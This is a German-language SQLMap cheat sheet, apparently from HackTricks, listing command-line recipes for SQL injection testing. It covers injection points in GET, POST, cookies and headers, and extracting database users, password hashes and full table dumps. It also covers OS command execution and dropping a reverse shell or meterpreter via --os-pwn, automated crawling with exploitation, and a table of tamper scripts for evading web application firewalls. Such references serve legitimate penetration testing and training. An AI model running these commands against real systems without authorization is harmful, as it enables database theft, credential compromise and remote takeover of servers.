# SQLMap {{#include ../../banners/hacktricks-training.md}} ## Grundlegende Argumente für SQLmap ### Allgemein ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` ### Technik-Flags (`--technique`) Das Argument `--technique` definiert, welche SQL-Injection-Methoden sqlmap versuchen wird. Jeder Buchstabe im String repräsentiert eine Technik: | Buchstabe | Technik | Beschreibung | | --------- | ------- | ------------ | | B | Boolean-basiert blind | Verwendet wahr/falsch Bedingungen, um Daten zu erschließen | | E | Fehler-basiert | Nutzt ausführliche DBMS-Fehlermeldungen, um Ergebnisse zu exfiltrieren | | U | UNION-Abfrage | Injiziert `UNION SELECT`-Anweisungen, um Daten über denselben Kanal abzurufen | | S | Gestapelte Abfragen | Fügt zusätzliche Anweisungen hinzu, die durch `;` getrennt sind | | T | Zeit-basiert blind | Vertraut auf Verzögerungen (`SLEEP`, `WAITFOR`), um die Injection zu erkennen | | Q | Inline / out-of-band | Verwendet Funktionen wie `LOAD_FILE()` oder OOB-Kanäle wie DNS | Die Standardreihenfolge ist `BEUSTQ`. Sie können sie umsortieren oder einschränken, z.B. nur Boolean und Zeit-basiert in dieser Reihenfolge: ```bash sqlmap -u "http://target/?id=1" --technique="BT" --batch ``` ### Informationen abrufen #### Intern ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB ``` #### DB-Daten ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` ## Injectionstelle ### Aus Burp/ZAP-Erfassung Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei ```bash sqlmap -r req.txt --current-user ``` ### GET-Anforderungsinjektion ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POST-Anforderungsinjektion ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Injektionen in Headern und anderen HTTP-Methoden ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Zweite Ordnung Injektion ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Crawlen Sie eine Website mit SQLmap und automatischem Exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ## Anpassen der Injektion ### Einen Suffix festlegen ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Präfix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Hilfe bei der Suche nach boolescher Injektion ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Beschreibung | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Ersetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück | | apostrophenullencode.py | Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück | | appendnullbyte.py | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu | | base64encode.py | Kodiert alle Zeichen in einer gegebenen Payload in Base64 | | between.py | Ersetzt den Größer-als-Operator \('>'\) durch 'NOT BETWEEN 0 AND \#' | | bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt | | chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) | | commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' | | commalessmid.py | Ersetzt Instanzen wie 'MID\(A, B, C\)' durch 'MID\(A FROM B FOR C\)' | | concat2concatws.py | Ersetzt Instanzen wie 'CONCAT\(A, B\)' durch 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | | charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) | | charunicodeencode.py | Unicode-url-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "%u0022" | | charunicodeescape.py | Unicode-url-kodiert nicht kodierte Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\). "\u0022" | | equaltolike.py | Ersetzt alle Vorkommen des Operators gleich \('='\) durch den Operator 'LIKE' | | escapequotes.py | Schrägstrich-Escape für Anführungszeichen \(' und "\) | | greatest.py | Ersetzt den Größer-als-Operator \('>'\) durch das 'GREATEST'-Gegenstück | | halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu | | ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL\(A, B\)' durch 'IF\(ISNULL\(A\), B, A\)' | | modsecurityversioned.py | Umgibt die gesamte Abfrage mit einem versionierten Kommentar | | modsecurityzeroversioned.py | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar | | multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu | | nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind \(z.B. .replace\("SELECT", ""\)\) Filter | | percentage.py | Fügt ein Prozentzeichen \('%'\) vor jedem Zeichen hinzu | | overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload \(nicht bereits kodierte Zeichen verarbeiten\) | | randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben | | randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu | | securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu | | sp_password.py | Fügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu | | space2comment.py | Ersetzt das Leerzeichen \(' '\) durch Kommentare | | space2dash.py | Ersetzt das Leerzeichen \(' '\) durch einen Strichkommentar \('--'\), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile \('\n'\) | | space2hash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile \('\n'\) | | space2morehash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile \('\n'\) | | space2mssqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen | | space2mssqlhash.py | Ersetzt das Leerzeichen \(' '\) durch ein Pfundzeichen \('\#'\), gefolgt von einer neuen Zeile \('\n'\) | | space2mysqlblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen | | space2mysqldash.py | Ersetzt das Leerzeichen \(' '\) durch einen Strichkommentar \('--'\), gefolgt von einer neuen Zeile \('\n'\) | | space2plus.py | Ersetzt das Leerzeichen \(' '\) durch Plus \('+'\) | | space2randomblank.py | Ersetzt das Leerzeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen | | symboliclogical.py | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke \(&& und | | unionalltounion.py | Ersetzt UNION ALL SELECT durch UNION SELECT | | unmagicquotes.py | Ersetzt das Anführungszeichen \('\) durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende \(um es zum Laufen zu bringen\) | | uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT' | | varnish.py | Fügt einen HTTP-Header 'X-originating-IP' hinzu | | versionedkeywords.py | Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar | | versionedmorekeywords.py | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar | | xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu | ## Referenzen - [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) {{#include ../../banners/hacktricks-training.md}}